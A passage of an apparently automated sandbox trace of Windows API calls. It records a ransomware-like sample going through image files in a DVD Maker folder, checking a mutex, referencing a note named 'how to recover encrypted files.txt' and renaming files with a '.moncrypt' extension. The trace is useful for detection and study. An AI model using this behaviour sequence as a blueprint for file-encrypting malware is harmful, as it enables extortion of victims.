dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.427] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.427] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.427] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.427] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.427] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.427] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.moncrypt")) returned 0 [0058.428] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0058.428] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.428] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.428] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.428] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.428] GlobalUnlock (hMem=0x440004) returned 0 [0058.428] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.428] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.428] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.428] GlobalUnlock (hMem=0x440004) returned 0 [0058.428] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.428] GlobalUnlock (hMem=0x44000c) returned 0 [0058.428] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.428] CharLowerBuffW (in: lpsz="203x8subpicture.png", cchLength=0x13 | out: lpsz="203x8subpicture.png") returned 0x13 [0058.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", lpUsedDefaultChar=0x0) returned 71 [0058.429] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\203x8subpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.429] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.429] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.430] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.430] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", dwFileAttributes=0x20) returned 0 [0058.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.430] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.moncrypt")) returned 0 [0058.430] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.430] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.430] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.431] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.431] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.431] GlobalUnlock (hMem=0x44000c) returned 0 [0058.431] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.431] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.431] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.431] GlobalUnlock (hMem=0x44000c) returned 0 [0058.431] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.431] GlobalUnlock (hMem=0x440004) returned 0 [0058.431] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.431] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", cchWideChar=84, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png ", lpUsedDefaultChar=0x0) returned 84 [0058.432] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\NavigationLeft_ButtonGraphic.png ", lpUsedDefaultChar=0x0) returned 4 [0058.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.433] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.433] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.433] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.433] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.433] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.433] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.434] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.434] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.434] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.434] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.434] GlobalUnlock (hMem=0x440004) returned 0 [0058.434] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.434] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.434] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.434] GlobalUnlock (hMem=0x440004) returned 0 [0058.434] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.434] GlobalUnlock (hMem=0x44000c) returned 0 [0058.434] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.434] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, 